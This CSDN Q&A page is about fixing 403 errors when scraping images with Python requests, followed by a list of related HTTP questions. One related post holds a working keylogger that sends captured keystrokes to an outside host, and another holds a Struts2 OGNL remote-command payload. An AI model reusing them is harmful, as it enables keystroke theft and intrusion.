无法使用python来发送get请求来得到url

想写一个程序来爬取图片,但是图片只显示较低分辨率的,想要得到高分辨率的图片需点一下
图片发送请求才能才能得到有效的高清图片url,不然就算知道url打开也是403,想使用
python里的requests.get来发送请求,但却没效果,就算把cooki和agent打表成参数
给它也没用,有大神知道该怎么解决吗?

url

2个回答

用fiddler这个程序对照你的提交的数据和浏览器提交的,对比每个字段,找出不同。

u012702850
经济基础说重点 回复caozhy: 是图片,有response。
大约 4 年之前 回复
caozhy
贵阳老马马善福专业维修游泳池堵漏防水工程 回复经济基础说重点: 得到什么文件?有response么?
大约 4 年之前 回复
u012702850
经济基础说重点 谢谢,我发现是cookies不同,但还想问的是,为什么对于同一个url,用浏览器无法查看,但是fiddler却能得到文件?
大约 4 年之前 回复

除了cookie useragent 是不是还要referer等信息也要配置

u012702850
经济基础说重点 有配置
大约 4 年之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
python使用httplib发送put请求可以带参数么?

>>> # This creates an HTTP message >>> # with the content of BODY as the enclosed representation >>> # for the resource http://localhost:8080/foobar ... >>> import httplib >>> BODY = "***filecontents***" >>> conn = httplib.HTTPConnection("localhost", 8080) >>> conn.request("PUT", "/file", BODY) >>> response = conn.getresponse() >>> print response.status, response.reason 200, OK 这个是官方文档的例子,我看了下request的方法代码,参数还可以传个headers进去。就像这样:conn.request("PUT", "/file", body=BODY,headers={}),那我现在file后边还有参数的,我怎么加进去。就是这样的put host/file.txt?aaa=bbb&ccc=ddd

最近突发奇想用java去请求python写的接口结果出问题了

python代码如下: ``` import tornado from wtforms_tornado import Form import sys class hello(tornado.web.RequestHandler): def get(self): self.render("hello.html") class ajaxtest(tornado.web.RequestHandler): def set_default_headers(self): print("setting headers!!!") self.set_header("Access-Control-Allow-Origin", "*") self.set_header("Access-Control-Allow-Headers", "x-requested-with") self.set_header('Access-Control-Allow-Methods', 'POST, GET, OPTIONS') def get(self): data="你好我是刘德华" #data.encode("utf-8") print("get") self.write(data) def post(self): import json res=dict( hel="你好我是刘德华", d="ee" ) json = json.dumps(res) print("post") self.write(json) ``` python的代码应该是没有问题的 问题应该出在java上因为用直接用jQuery ajax请求是完全没有问题的 java代码如下: ``` package xiaoxiaomo; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.io.UnsupportedEncodingException; import java.net.URL; import java.net.URLConnection; import java.util.List; import java.util.Map; public class test { /** * 向指定URL发送GET方法的请求 * * @param url * 发送请求的URL * @param param * 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 * @return URL 所代表远程资源的响应结果 */ public test() { // TODO Auto-generated constructor stub } public static String sendGet(String url, String param) { String result = ""; BufferedReader in = null; try { String urlNameString = url + "?" + param; URL realUrl = new URL(urlNameString); // 打开和URL之间的连接 URLConnection connection = realUrl.openConnection(); // 设置通用的请求属性 connection.setRequestProperty("accept", "*/*"); connection.setRequestProperty("connection", "Keep-Alive"); connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); // 建立实际的连接 connection.connect(); // 获取所有响应头字段 Map<String, List<String>> map = connection.getHeaderFields(); // 遍历所有的响应头字段 for (String key : map.keySet()) { System.out.println(key + "--->" + map.get(key)); } // 定义 BufferedReader输入流来读取URL的响应 in = new BufferedReader(new InputStreamReader( connection.getInputStream())); String line; while ((line = in.readLine()) != null) { result += line; } } catch (Exception e) { System.out.println("发送GET请求出现异常!" + e); e.printStackTrace(); } // 使用finally块来关闭输入流 finally { try { if (in != null) { in.close(); } } catch (Exception e2) { e2.printStackTrace(); } } return result; } /** * 向指定 URL 发送POST方法的请求 * * @param url * 发送请求的 URL * @param param * 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 * @return 所代表远程资源的响应结果 */ public static String sendPost(String url, String param) { PrintWriter out = null; BufferedReader in = null; String result = ""; try { URL realUrl = new URL(url); // 打开和URL之间的连接 URLConnection conn = realUrl.openConnection(); // 设置通用的请求属性 conn.setRequestProperty("accept", "*/*"); conn.setRequestProperty("connection", "Keep-Alive"); conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); // 发送POST请求必须设置如下两行 conn.setDoOutput(true); conn.setDoInput(true); // 获取URLConnection对象对应的输出流 out = new PrintWriter(conn.getOutputStream()); // 发送请求参数 out.print(param); // flush输出流的缓冲 out.flush(); // 定义BufferedReader输入流来读取URL的响应 in = new BufferedReader( new InputStreamReader(conn.getInputStream())); String line; while ((line = in.readLine()) != null) { result += line; } } catch (Exception e) { System.out.println("发送 POST 请求出现异常!"+e); e.printStackTrace(); } //使用finally块来关闭输出流、输入流 finally{ try{ if(out!=null){ out.close(); } if(in!=null){ in.close(); } } catch(IOException ex){ ex.printStackTrace(); } } return result; } public static String getEncoding(String str) { String encode = "GB2312"; try { if (str.equals(new String(str.getBytes(encode), encode))) { //判断是不是GB2312 String s = encode; return s; //是的话,返回“GB2312“,以下代码同理 } } catch (Exception exception) { } encode = "ISO-8859-1"; try { if (str.equals(new String(str.getBytes(encode), encode))) { //判断是不是ISO-8859-1 String s1 = encode; return s1; } } catch (Exception exception1) { } encode = "UTF-8"; try { if (str.equals(new String(str.getBytes(encode), encode))) { //判断是不是UTF-8 String s2 = encode; return s2; } } catch (Exception exception2) { } encode = "GBK"; try { if (str.equals(new String(str.getBytes(encode), encode))) { //判断是不是GBK String s3 = encode; return s3; } } catch (Exception exception3) { } return ""; } public static void main(String[] args) throws UnsupportedEncodingException { //发送 GET 请求 String s=test.sendGet("http://127.0.0.1:9999/ajax", "key=123&v=456"); // String str=new String(s.getBytes(),"utf-8"); String type=getEncoding(s); System.out.println("字符串的编码是:"+type); System.out.println(s); //发送 POST 请求 // String sr=test.sendPost("http://localhost:6144/Home/RequestPostString", "key=123&v=456"); // System.out.println(sr); } } ``` 执行效果如下中文乱码: ![图片说明](https://img-ask.csdn.net/upload/201805/16/1526480833_741806.png) 然后我转了字符串编码为utf-8执行结果如下最后一个字显示问号 ![图片说明](https://img-ask.csdn.net/upload/201805/16/1526480961_68315.png) 后面没有办法,我在python就把字符串转为utf-8 ![图片说明](https://img-ask.csdn.net/upload/201805/16/1526481027_280369.png) 结果执行以后编码是utf-8没错 但是还是乱码 这是咋回事啊 ![图片说明](https://img-ask.csdn.net/upload/201805/16/1526481133_525792.png)

使用Python的HTTP请求中的连接问题

<div class="post-text" itemprop="text"> <p>The scope of this script is to send all the keyboard input to a PHP file in a server, that saves it in a file. I've created the directory "logs" in the server and the index.php file. I'm using the WebFreeHosting site for this purpose. Here's the PHP file: </p> <pre><code>&lt;?php if(isset($_GET['pcName'], $_GET['toLog'])){ $toLogs = str_split($_GET['toLog']); $pcName = $_GET['pcName']; $allows = array_merge(range('A', 'Z'), range('a', 'z'), range('0', '9')); array_push($allows, " ", "\t", "@", ".", " ", "?", "!", "(", ")", "#", "$", "%", "^", "^", "&amp;", "*", "'", "&lt;", "&gt;", "/", "-", "+", "=", "_", "{", "}", '"'); foreach($toLogs as $toLog){ if(!in_array($toLog, $allows)) $toLog = ""; if($toLog == " ") $toLog = " "; $file = fopen('logs/'.$pcName.'.txt', "a"); fwrite($file, $toLog); fclose($file); } } ?&gt; </code></pre> <p>And that's the Python script that hooks the keyboard's input and sends it with a GET request on the index.php file:</p> <pre><code>import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys #functions def OnKeyBoardEvent(event): print event.Ascii try: params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii) }) conn = httplib.HTTPConection("negated.atwebpages.com") conn.request("GET", "/index.php?" + params) except: pass return True hook_manager = pyHook.HookManager() #new hook manager hook_manager.KeyDown = OnKeyBoardEvent #tells what to do when the user presses button hook_manager.HookKeyboard() # tells the program to keep hooking the keyboard pythoncom.PumpMessages()# keeps the progam running </code></pre> <p>When i just type in a browser the URL <code>negated.atwebpages.com/index.php?pcName=pc&amp;toLog=hello</code> i receive my text file with the name of the pc using the script, and the keyboard input. But when i activate the script, i don't receive the text file, so it seems is not connecting properly. I can't figure it out what i'm doing wrong. Btw, the library implementation, makes me run the script with this cmd line: <code>py -2 script.py</code></p> </div>

python构建get请求如何把字典参数作为一个变量传进去

![图片说明](https://img-ask.csdn.net/upload/201912/05/1575555981_756412.png)

python构造post请求,并获取响应内容。

使用python脚本自定义一个post请求然后发送,并得到响应内容。 POST请求如下图,响应内容为右侧内容。 ![图片说明](https://img-ask.csdn.net/upload/201812/18/1545116829_200709.png) Content-Type: application/x-www-form-urlencoded 是必须存在的. 测试过两种方法,一种是 ```python #coding:utf-8 import requests import urllib import urllib2 import os url = 'http://192.168.1.22:8080/example/HelloWorld.action' d = "('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))" headerss = { 'Content-Type' : 'application/x-www-form-urlencoded'} r = requests.post(url,d,headerss) print r.text print r.headers ``` ![图片说明](https://img-ask.csdn.net/upload/201812/18/1545117452_831993.png) 第二种是将POST的数据放到report.txt文件中,尝试过把图1整个POST内容放入,失败,尝试如下代码只放定义的主体内容,失败。 ``` #coding:utf-8 import requests import urllib import urllib2 import os # url = 'http://192.168.1.22:8080/example/HelloWorld.action' # d = "('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))" # headerss = { 'Content-Type' : 'application/x-www-form-urlencoded'} # r = requests.post(url,d,headerss) # print r.text # print r.headers url = 'http://192.168.1.22:8080/example/HelloWorld.action' jy = open('report.txt') a = jy.read() files = {'file': a} print files['file'] r = requests.post(url, a) print r.text head = r.headers print head ``` ![图片说明](https://img-ask.csdn.net/upload/201812/18/1545117858_828662.png)

使用python实现rtsp客户端遇见的setup消息发送的问题

使用python实现rtsp客户端的setup消息发送时返回状态码为503;现在不知如何解决,遂请求帮助。有偿+wx:ww1194609610(10rmb) ``` import socket from urllib.parse import urlparse config_dict = { 'cseq': 2, 'user_agent': 'LibVLC/3.0.2 (LIVE555 Streaming Media v2016.11.28)', 'timeout': 3, 'recvbite': 4096, 'res_status': '200 OK', 'rtsp_status': 'flase' } clientports=[60784, 60785] def options_get(url): ''' options请求检测 url: rtsp流地址 return: options请求相应 ''' url = urlparse(url) host = url.netloc hostname = url.hostname path = url.path port = url.port str_options = 'OPTIONS rtsp://' + str(host) + \ path + ' RTSP/1.0\r\n' str_options += 'CSeq: ' + str(config_dict['cseq']) + '\r\n' str_options += 'User-Agent: ' + config_dict['user_agent'] + '\r\n' str_options += '\r\n' print(str_options) client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.settimeout(config_dict['timeout']) client.connect((hostname, port)) client.send(str_options.encode()) d = client.recv(config_dict['recvbite']) return d def describe_get(url): ''' describe请求检测 url: rtsp流地址 return: describe请求相应 ''' url = urlparse(url) host = url.netloc hostname = url.hostname path = url.path port = url.port str_describe = 'DESCRIBE rtsp://' + str(host) + \ path + ' RTSP/1.0\r\n' str_describe += 'CSeq: ' + str(config_dict['cseq'] + 1) + '\r\n' str_describe += 'User-Agent: ' + config_dict['user_agent'] + '\r\n' str_describe += '\r\n' client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.settimeout(config_dict['timeout']) client.connect((hostname, port)) client.send(str_describe.encode()) d = client.recv(config_dict['recvbite']) return d def setup_get(url): ''' setup请求检测 url: rtsp流地址 return: setup请求相应 ''' url = urlparse(url) host = url.netloc hostname = url.hostname path = url.path port = url.port str_setup = 'SETUP rtsp://' + str(host) + path + '/' + 'streamid=0' + ' RTSP/1.0\r\n' str_setup += 'CSeq: ' + str(config_dict['cseq'] + 2) + '\r\n' str_setup += 'User-Agent: ' + config_dict['user_agent'] + '\r\n' # config_dict['user_agent'] str_setup += 'Transport: RTP/AVP;unicast;client_port=61740-61741\r\n\r\n' str_setup += '\r\n' client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.settimeout(config_dict['timeout']) client.connect((hostname, port)) client.send(str_setup.encode()) d = client.recv(config_dict['recvbite']) return d def teardown_get(url): ''' teardown请求检测 url: rtsp流地址 return: teardown请求相应 ''' url = urlparse(url) host = url.netloc hostname = url.hostname path = url.path port = url.port str_teardown = 'TEARDOWN rtsp://' + str(host) + path + ' RTSP/1.0\r\n' str_teardown += 'CSeq: ' + str(config_dict['cseq'] + 4) + '\r\n' str_teardown += 'User-Agent: ' + config_dict['user_agent'] + '\r\n' str_teardown += '\r\n' print(str_teardown) client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.settimeout(config_dict['timeout']) client.connect((hostname, port)) client.send(str_teardown.encode()) d = client.recv(config_dict['recvbite']) return d def send_main(url): try: str_options = str(options_get(url)) print(str_options) if config_dict['res_status'] in str_options: str_des = str(describe_get(url)) print(str_des) if config_dict['res_status'] in str_des: str_setup = str(setup_get(url)) str_teardown = str(teardown_get(url)) print(str_setup) print(str_teardown) if config_dict['res_status'] in str_teardown: config_dict['rtsp_status'] = 'true' return True except Exception: return False else: return False print(send_main('rtsp://192.168.10.214:554/live/av0')) ``` 上方为我的代码。 b'RTSP/1.0 503 Service Unavailable\r\nCSeq: 4\r\nDate: Thu, 01 Jan 1970 07:11:16 GMT\r\n\r\n' 此段消息为setup请求的返回信息,我看过rtsp的相关文档,说describe请求返回的sdp信息,客户端再分析该SDP描述,并为会话中的每一个流发送一个RTSP建立命令( SETUP)。这个我没搞懂,也不知道如何写,这里进行请教一下。 下面是我的一次正常的rtsp交互信息。 ``` OPTIONS rtsp://192.168.10.214:554/live/av0 RTSP/1.0 CSeq: 2 User-Agent: LibVLC/3.0.5 (LIVE555 Streaming Media v2016.11.28) RTSP/1.0 200 OK CSeq: 2 Public: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE DESCRIBE rtsp://192.168.10.214:554/live/av0 RTSP/1.0 CSeq: 3 User-Agent: LibVLC/3.0.5 (LIVE555 Streaming Media v2016.11.28) Accept: application/sdp RTSP/1.0 200 OK CSeq: 3 Date: Thu, 01 Jan 1970 07:05:17 GMT Content-Base: rtsp://192.168.10.214:554/live/av0/ Content-Type: application/sdp Content-Length: 315 v=0 o=- 0 0 IN IP4 127.0.0.1 s=No Title c=IN IP4 0.0.0.0 t=0 0 a=tool:libavformat 55.12.100 m=video 0 RTP/AVP 96 a=rtpmap:96 H264/90000 a=fmtp:96 packetization-mode=1; sprop-parameter-sets=Z2QAKq2EAQwgCGEAQwgCGEAQwgCEK1A8ARPyzcBAQFAAAAMAEAAAAwPIQA==,aO48sA==; profile-level-id=64002A a=control:streamid=0 SETUP rtsp://192.168.10.214:554/live/av0/streamid=0 RTSP/1.0 CSeq: 4 User-Agent: LibVLC/3.0.5 (LIVE555 Streaming Media v2016.11.28) Transport: RTP/AVP;unicast;client_port=61740-61741 RTSP/1.0 200 OK CSeq: 4 Date: Thu, 01 Jan 1970 07:05:17 GMT Session: 093634014dba841b Transport: RTP/AVP/UDP;unicast;client_port=61740-61741;server_port=20006-20007 PLAY rtsp://192.168.10.214:554/live/av0/ RTSP/1.0 CSeq: 5 User-Agent: LibVLC/3.0.5 (LIVE555 Streaming Media v2016.11.28) Session: 093634014dba841b Range: npt=0.000- RTSP/1.0 200 OK CSeq: 5 Date: Thu, 01 Jan 1970 07:05:17 GMT Session: 093634014dba841b TEARDOWN rtsp://192.168.10.214:554/live/av0/ RTSP/1.0 CSeq: 6 User-Agent: LibVLC/3.0.5 (LIVE555 Streaming Media v2016.11.28) Session: 093634014dba841b RTSP/1.0 200 OK CSeq: 6 Date: Thu, 01 Jan 1970 07:05:21 GMT Session: 093634014dba841b ```

python本地服务 获得 get请求的 参数 发给微信好友

http://localhost:8888/hello?name=xiaowang&sex=boy 浏览器通过js 发送上面的get请求 python通过监听8888端口 解析url获得 name和sex的值 然后发送给指定微信好友 或者 指定的微信群 要代码python端的代码 js 端是 for循环条件判断 然后发送请求 初学者有些东西搞不太顺

使用ajax和python发送文件后从外部URL获取数据

<div class="post-text" itemprop="text"> <pre><code>&lt;form id="myForm" method="post" name="myForm"&gt; NDA DOC: &lt;input type="file" name="file1"&gt; &lt;input type="submit" id="submit"&gt; &lt;/form&gt; </code></pre> <p>thats the js</p> <pre><code> $('#myForm').submit(function(e){ e.preventDefault(); let data = $( this ).serialize() $.ajax({ type: "POST", url: "http://www.example.com/uploader", data: data, success: function(response){ // success action here console.log(response); }, error: function(response) { // error action here console.log(response); } }); </code></pre> <p>this code in wordpress site i'm getting this error (index):1 Access to XMLHttpRequest at '<a href="http://www.example.com/uploader" rel="nofollow noreferrer">http://www.example.com/uploader</a>' from origin '<a href="http://localhost:8080" rel="nofollow noreferrer">http://localhost:8080</a>' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.</p> </div>

python使用requests.get时,请求头的cookie是随机变化的,该怎么写请求头?

例如以下是请求的url: http://search.10jqka.com.cn/stockpick/search?typed=0&preParams=&ts=1&f=1&qs=result_original&selfsectsn=&querytype=stock&searchfilter=&tid=stockpick&w=%E5%B8%82%E7%9B%88%E7%8E%87%E5%A4%A7%E4%BA%8E%E7%AD%89%E4%BA%8E21%E5%80%8D%E4%B8%94%E5%B8%82%E7%9B%88%E7%8E%87%E5%B0%8F%E4%BA%8E%E7%AD%89%E4%BA%8E22%E5%80%8D&queryarea= 以下请求头: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5 Cache-Control: max-age=0 Connection: keep-alive Cookie: Hm_lvt_78c58f01938e4d85eaf619eae71b4ed1=1550575085,1552764171; PHPSESSID=e9cddc3108ec629d2db0c2f2e30ce810; cid=e9cddc3108ec629d2db0c2f2e30ce8101552829178; ComputerID=e9cddc3108ec629d2db0c2f2e30ce8101552829178; other_uid=ths_mobile_iwencai_2e6c84325ffc4a0b201b430c00d1df46; iwencaisearchquery=%E8%BF%9E%E7%BB%AD15%E5%B9%B4%E6%89%A3%E9%9D%9E%E5%87%80%E5%88%A9%E6%B6%A6%E5%A4%A7%E4%BA%8E0%20%E5%B8%82%E5%87%80%E7%8E%87%E4%BD%8E%E4%BA%8E2%20roe%E9%AB%98%E4%BA%8E10%25%20%E5%B8%82%E7%9B%88%E7%8E%87%E4%BD%8E%E4%BA%8E20; guideState=1; Hm_lpvt_78c58f01938e4d85eaf619eae71b4ed1=1552835669; v=AoFMlTW5uV-o89Vrfg5AnBoTkMaYrvY4Hy-ZvOPWfVvmsa8wK_4FcK9yqbBw Host: search.10jqka.com.cn Referer: http://search.10jqka.com.cn/stockpick/search?typed=1&preParams=&ts=1&f=1&qs=result_rewrite&selfsectsn=&querytype=stock&searchfilter=&tid=stockpick&w=%E5%B8%82%E7%9B%88%E7%8E%87%E5%A4%A7%E4%BA%8E%E7%AD%89%E4%BA%8E21%E5%80%8D%E4%B8%94%E5%B8%82%E7%9B%88%E7%8E%87%E5%B0%8F%E4%BA%8E%E7%AD%89%E4%BA%8E22%E5%80%8D&queryarea= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 我的代码: r=requests.get(myurl,headers=myheader) 其中myurl就是上面要请求的url,myheader就是上面的请求头 如果请求头里不包含cookie,那么r.text的结果就显示异常,根本不是我想要的信息: ![图片说明](https://img-ask.csdn.net/upload/201903/18/1552889612_367617.jpg) 若是请求头里包含了cookie,那么r.text就显示正常(正常的我就不列出来了)。但问题来了:这个cookie是随机没有规律的,而且过一段时间就失效,而且好像我打开新的网页也会重置什么的,那我怎么才能写请求头呢?

使用python requests 利用代理 爬取网站内容时候,返回的网页内容是代理ip的网站内容

proxies={ "http": "http://61.135.217.7:80", "https":"https://113.108.130.210:808" } 请求方式: requests.get(url="a 网址",proxies=proxies} 代理ip来源于 http://www.xicidaili.com/nn/ 按照这样的格式爬取的数据,结果爬取的到的内容不是a网址的内容,而是代理中 ['http']的代理的网页内容。 如果 requests.get(url="a 网址",proxies=None} 不使用代理,则可以获取到网页的正确的内容? 不知道怎么回事

gevent提速,http请求并行提速

200+个http请求,每一个请求从发送到接收返回数据并写入文件,求问使用gevent的情况下能比完全串行提速多少,使用的python

python 爬虫 关于URL路径问题

我想问有没有大佬知道怎么用socket去连接一个具体的URL地址,我用 socket.connect((address,80)),address只能是www.baidu.com这样的地址,而不是 http://xxxxx/xxxxxx/ 这样带具体路径的地址,不然就会出错“getaddrinfo failed”。 **前提是别用其他lib**

ajax无法发送请求,后台也未接收到请求

试了很多次,表单提交后,到alert(data)一句(包括这一句)都执行正常,但之后的ajax语句就无法发送请求,ajax语句里面的几个alert也没有运行,最后的alert('1')也没有运行(异步请求正常运行的话应该是会执行的吧) 以下是前端代码,本来代码是要复杂些的,但我调试的时候把代码简化了,基本确定是ajax语句的问题了。 ``` $(function () { 'use strict'; $('#login_form').submit(function (event) { event.stopPropagation(); event.preventDefault(); var nickname = $('#login_form').find('#login_nickname').val(); var pwd = $('#login_form').find('#login_password').val(); if (!nickname || !pwd) { $('#login_text').show(); } var raw_data = { title: 'login', nickname: nickname, password: pwd } var data = JSON.stringify(raw_data); alert(data); $.ajax('/login', { dataType: 'json' }).done(function (data) { alert('成功'); }).fail(function (xhr, status) { alert('失败'); }).always(function () { alert('请求完成: 无论成功或失败都会调用'); }); alert('1'); }); }); ``` 后端代码如下,用的是flask。按理来说即便url不对,后台也应该有请求记录的,然而后台并没有显示该记录 ``` @app.route('/login',methods=['POST',]) def login(): if g.user is not None and g.user.is_authenticated: flash('You have already logged in!') return redirect(url_for('home')) raw_data=request.get_data() print(raw_data) data=json.loads(raw_data) print(data[pwd],data[nickname]) resp=dict(success = True,text ='limbohotmore!') return json.dumps(resp) ``` 后台记录如下,无论提交几次表单,都只有第一次获取主页面的请求记录 ``` * Restarting with stat * Debugger is active! * Debugger PIN: 289-281-425 * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit) 127.0.0.1 - - [26/Jul/2019 12:52:27] "GET / HTTP/1.1" 200 - ```

请问请求头中有多个重复的key应该如何使用python的requests请求?

![图片说明](https://img-ask.csdn.net/upload/201909/29/1569733071_38419.png) 抓包是这样的 一般情况我知道是 ``` headers = { 'a':'value', 'b':'value', } ``` 如果有多个a的key需要提交应该如何写呢。。。

python3 scrapy Request 请求时怎么保持headers 的参数首字母不大写

python3 scrapy Request 请求时,scrapy 会自动将headers 中的参数 格式化,使其保持首字母大写,下划线等特殊符号后第一个字母大写。但现在有个问题 我要往服务端传一个headers的参数,但参数本身没有大写,经过scrapy 请求后参数变为首字母大写,服务器端根本不认这个参数,我就想问下有谁知道scrapy,Request 有不处理headers的方法吗? 但使用requests请求时,而不是用scrapy.Request时,headers 是没有变化的。![he图片说明](https://img-ask.csdn.net/upload/201905/15/1557909540_468021.png) 这是headers 请求之前的 ![图片说明](https://img-ask.csdn.net/upload/201905/15/1557909657_878941.png) 这是抓包抓到的请求头

python webpy获取请求post参数时,无法获取到正确的参数

客户端: url='http://127.0.0.1:8080/bussiness/execute' parm={'id':2,'op_list':[1,2,3]} response=requests.post(url,parm) 服务端: def POST(self): web.header("Access-Control-Allow-Origin", "*") web.header('content-type','text/json') req=web.input() print req 打印出来的req是: <Storage {'id': u'2', 'op_list': u'3'}> op_list这个数组没正确的获取到 如果客户端请求的parm是parm={'id':2,'op_list':'1111'} 则获取的req是正常的

python爬虫移动端评论,浏览器能打开url,但request.get返回内容404,已加header。

python爬虫新手,想爬取一个app评论图,用charles抓包获得url, 在浏览器上能打开是一个xml文件,但是用request.get(url,header)请求开始报错405,将https改为http后报错404 实在找不出问题是什么限制访问了,望大神解答~~~ url= "https://*********************/comment-list.html?page=1&pagesize=20&type=1&fnum=HU7781&dep_code=HAK&arr_code=PEK&tag_id=images&with=reply&user_id=&access_token=jwZ9PW62rrHUWG3ZSJehX-c9PzuSEya0"(真实网址host已用*代替)** charles报文如下 ![图片说明](https://img-ask.csdn.net/upload/201810/12/1539329428_982517.png) ![图片说明](https://img-ask.csdn.net/upload/201810/12/1539329446_282668.png)

reuqests.get()请求无法成功

get请求一个url=‘http://www.chanpin100.com/pm/list?page=4&end_id=107371’ ![图片说明](https://img-ask.csdn.net/upload/201809/29/1538182870_175753.png) 尝试1:我先直接请求的,结果是一直显示在请求,无法停止,等了估计几分钟后才最后直接报错。 ![图片说明](https://img-ask.csdn.net/upload/201809/29/1538182886_358112.png) 尝试2:然后我又加了个header,结果是:报超时 ![图片说明](https://img-ask.csdn.net/upload/201809/29/1538183191_588753.png) 问题1: 我错在哪,为什么? 问题2: 要如何才能成功的返回数据内容,最好是能快速的?

python中URL地址用.format转换后出错

python中URL地址用.format转换后出错,提示JSONDecodeError("Expecting value", s, err.value) from None。 不转换的话没什么问题,url地址放在了address变量中(我用的是python3) ``` import urllib.request import ssl import json from cons import cons ssl._create_default_https_context = ssl._create_unverified_context station_list = {} for i in cons.split('@'): if i: temp_list = i.split('|') station_list[temp_list[1]] = temp_list[2] train_date = '2017-8-17' from_station = station_list['北京'] to_station = station_list['上海'] print(train_date, from_station, to_station) def get_list(): address = 'https://kyfw.12306.cn/otn/leftTicket/query?leftTicketDTO.train_date={0}' \ '&leftTicketDTO.from_station={1}' \ '&leftTicketDTO.to_station={2}&purpose_codes=ADULT'.format(train_date, from_station, to_station) print(address) url = urllib.request.Request(address) url.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)' ' Chrome/45.0.2454.101 Safari/537.36') html = urllib.request.urlopen(url).read() dit = json.loads(html) print(type(html)) print(type(dit)) return dit['data']['result'] # 车次3 # 出发时间8 # 到达时间9 # 历时 = 10 # 硬卧 =28 # 出发日期 13 for i in get_list(): temp_buy = i.split('|') if temp_buy == '无' or temp_buy == ' ': continue else: print(temp_buy) # buy break ``` cost.py中的代码如下 ``` cons = '@bji|北京|BJP|0@sha|上海|SHH|1@tji|天津|TJP|2@cqi|重庆|CQW|3' \ '@csh|长沙|CSQ|4@cch|长春|CCT|5@cdu|成都|CDW|6@fzh|福州|FZS|7' \ '@gzh|广州|GZQ|8@gya|贵阳|GIW|9@hht|呼和浩特|HHC|10' \ '@heb|哈尔滨|HBB|11@hfe|合肥|HFH|12@hzh|杭州|HZH|13' \ '@hko|海口|VUQ|14@jna|济南|JNK|15@kmi|昆明|KMM|16' \ '@lsa|拉萨|LSO|17@lzh|兰州|LZJ|18@nni|南宁|NNZ|19' \ '@nji|南京|NJH|20@nch|南昌|NCG|21@sya|沈阳|SYT|22' \ '@sjz|石家庄|SJP|23@tyu|太原|TYV|24@wlq|乌鲁木齐南|WMR|25' \ '@wha|武汉|WHN|26@xni|西宁|XNO|27@xan|西安|XAY|28' \ '@ych|银川|YIJ|29@zzh|郑州|ZZF|30@szh|深圳|SZQ|shenzhen|sz|31' \ '@xme|厦门|XMS|xiamen|xm|32' ```

在中国程序员是青春饭吗?

今年,我也32了 ,为了不给大家误导,咨询了猎头、圈内好友,以及年过35岁的几位老程序员……舍了老脸去揭人家伤疤……希望能给大家以帮助,记得帮我点赞哦。 目录: 你以为的人生 一次又一次的伤害 猎头界的真相 如何应对互联网行业的「中年危机」 一、你以为的人生 刚入行时,拿着傲人的工资,想着好好干,以为我们的人生是这样的: 等真到了那一天,你会发现,你的人生很可能是这样的: ...

程序员请照顾好自己,周末病魔差点一套带走我。

程序员在一个周末的时间,得了重病,差点当场去世,还好及时挽救回来了。

Java基础知识面试题(2020最新版)

文章目录Java概述何为编程什么是Javajdk1.5之后的三大版本JVM、JRE和JDK的关系什么是跨平台性?原理是什么Java语言有哪些特点什么是字节码?采用字节码的最大好处是什么什么是Java程序的主类?应用程序和小程序的主类有何不同?Java应用程序与小程序之间有那些差别?Java和C++的区别Oracle JDK 和 OpenJDK 的对比基础语法数据类型Java有哪些数据类型switc...

技术大佬:我去,你写的 switch 语句也太老土了吧

